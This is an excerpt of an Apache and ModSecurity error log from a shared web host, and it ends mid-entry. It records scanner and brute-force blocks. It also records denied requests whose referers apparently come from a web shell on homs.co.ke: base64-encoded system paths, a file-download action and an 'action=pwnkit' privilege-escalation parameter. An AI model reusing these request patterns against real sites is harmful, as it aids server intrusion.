https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:18:33.293764 2026] [access_compat:error] [pid 646876:tid 646995] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:18:33.417007 2026] [security2:error] [pid 648189:tid 648343] [remote 17.246.23.207:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 207.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zWVWSojQL4F7upKBwPQAAyXg"] [Sat Jun 13 18:18:33.511540 2026] [access_compat:error] [pid 648189:tid 648223] [remote 57.141.14.16:60202] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:33.511843 2026] [access_compat:error] [pid 648189:tid 648223] [remote 57.141.14.16:60202] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:33.536545 2026] [security2:error] [pid 648189:tid 648392] [client 185.177.72.9:14582] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/test123.php"] [unique_id "ai3zWVWSojQL4F7upKBwQgAAAKw"] [Sat Jun 13 18:18:33.747073 2026] [security2:error] [pid 648189:tid 648475] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/date/tests/bug38229.phpt"] [unique_id "ai3zWVWSojQL4F7upKBwTQAAAPk"] [Sat Jun 13 18:18:33.805116 2026] [security2:error] [pid 648189:tid 648368] [client 185.177.72.9:14596] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/test2.php"] [unique_id "ai3zWVWSojQL4F7upKBwUAAAAJQ"] [Sat Jun 13 18:18:33.814270 2026] [access_compat:error] [pid 648189:tid 648315] [remote 57.141.14.21:47309] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:33.814538 2026] [access_compat:error] [pid 648189:tid 648315] [remote 57.141.14.21:47309] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:33.832485 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQyL2lucHV0Mjo6bnVtbG9jay9wb3dlcg== [Sat Jun 13 18:18:33.832960 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQyL2lucHV0Mjo6bnVtbG9jay9wb3dlcg== [Sat Jun 13 18:18:33.859587 2026] [security2:error] [pid 646876:tid 647041] [client 210.217.96.217:52020] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zWdyTkdrNlD40tSG12gAAACE"] [Sat Jun 13 18:18:33.859747 2026] [security2:error] [pid 646876:tid 647041] [client 210.217.96.217:52020] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zWdyTkdrNlD40tSG12gAAACE"] [Sat Jun 13 18:18:33.926023 2026] [access_compat:error] [pid 648189:tid 648329] [remote 216.73.216.223:32826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:33.926468 2026] [access_compat:error] [pid 648189:tid 648329] [remote 216.73.216.223:32826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:34.076484 2026] [security2:error] [pid 648189:tid 648431] [client 185.177.72.9:14598] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/test3.php"] [unique_id "ai3zWlWSojQL4F7upKBwWQAAANI"] [Sat Jun 13 18:18:34.079520 2026] [access_compat:error] [pid 646876:tid 646945] [remote 57.141.14.2:61599] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:34.080006 2026] [access_compat:error] [pid 646876:tid 646945] [remote 57.141.14.2:61599] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:34.335610 2026] [access_compat:error] [pid 646876:tid 646917] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL3N1YnN5c3RlbS9ldmVudDAvcG93ZXI= [Sat Jun 13 18:18:34.336058 2026] [access_compat:error] [pid 646876:tid 646917] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL3N1YnN5c3RlbS9ldmVudDAvcG93ZXI= [Sat Jun 13 18:18:34.349022 2026] [security2:error] [pid 648189:tid 648380] [client 185.177.72.9:14600] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/test4.php"] [unique_id "ai3zWlWSojQL4F7upKBwYwAAAKA"] [Sat Jun 13 18:18:34.619784 2026] [security2:error] [pid 648189:tid 648463] [client 185.177.72.9:14610] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/test5.php"] [unique_id "ai3zWlWSojQL4F7upKBwagAAAO0"] [Sat Jun 13 18:18:34.841369 2026] [access_compat:error] [pid 646876:tid 646926] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?act=download&file=control&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9kZXZpY2UvZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:18:34.841674 2026] [access_compat:error] [pid 646876:tid 646926] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?act=download&file=control&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9kZXZpY2UvZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:18:34.865875 2026] [access_compat:error] [pid 648189:tid 648243] [remote 57.141.14.48:48311] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:34.866250 2026] [access_compat:error] [pid 648189:tid 648243] [remote 57.141.14.48:48311] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:34.888490 2026] [access_compat:error] [pid 646876:tid 646909] [remote 57.141.14.39:47694] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:34.888959 2026] [access_compat:error] [pid 646876:tid 646909] [remote 57.141.14.39:47694] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:34.897004 2026] [security2:error] [pid 648189:tid 648445] [client 185.177.72.9:14626] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/test6.php"] [unique_id "ai3zWlWSojQL4F7upKBwdQAAAN8"] [Sat Jun 13 18:18:34.910172 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?action=pwnkit&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9kZXZpY2UvZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:18:34.910615 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?action=pwnkit&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9kZXZpY2UvZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:18:34.961063 2026] [security2:error] [pid 648189:tid 648405] [client 47.128.48.6:63962] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.londonsquarespirits.com"] [uri "/robots.txt"] [unique_id "ai3zWlWSojQL4F7upKBweAAAALg"] [Sat Jun 13 18:18:35.048510 2026] [access_compat:error] [pid 648189:tid 648310] [remote 57.141.14.110:64644] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:35.048848 2026] [access_compat:error] [pid 648189:tid 648310] [remote 57.141.14.110:64644] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:35.162303 2026] [security2:error] [pid 648189:tid 648482] [client 185.177.72.9:14636] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/test7.php"] [unique_id "ai3zW1WSojQL4F7upKBwfgAAAQA"] [Sat Jun 13 18:18:35.362277 2026] [access_compat:error] [pid 646876:tid 646881] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9kZXZpY2UvZXZlbnQzL2RldmljZS9pZA== [Sat Jun 13 18:18:35.362547 2026] [access_compat:error] [pid 646876:tid 646881] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9kZXZpY2UvZXZlbnQzL2RldmljZS9pZA== [Sat Jun 13 18:18:35.388338 2026] [security2:error] [pid 648189:tid 648281] [remote 17.246.15.160:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 160.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zW1WSojQL4F7upKBwhQAA2Ds"] [Sat Jun 13 18:18:35.429772 2026] [access_compat:error] [pid 646876:tid 646915] [remote 57.141.14.76:42769] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:35.430215 2026] [access_compat:error] [pid 646876:tid 646915] [remote 57.141.14.76:42769] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:35.442183 2026] [security2:error] [pid 648189:tid 648452] [client 185.177.72.9:14648] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/test8.php"] [unique_id "ai3zW1WSojQL4F7upKBwiwAAAOY"] [Sat Jun 13 18:18:35.600556 2026] [security2:error] [pid 648189:tid 648312] [remote 17.241.75.129:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 129.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zW1WSojQL4F7upKBwkAAAsFo"] [Sat Jun 13 18:18:35.710041 2026] [security2:error] [pid 648189:tid 648305] [remote 17.22.237.36:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 36.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zW1WSojQL4F7upKBwlwAAu1M"] [Sat Jun 13 18:18:35.713639 2026] [security2:error] [pid 646876:tid 647098] [client 185.177.72.9:14650] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/test9.php"] [unique_id "ai3zW9yTkdrNlD40tSG1-QAAAFo"] [Sat Jun 13 18:18:35.866275 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:18:35.866604 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 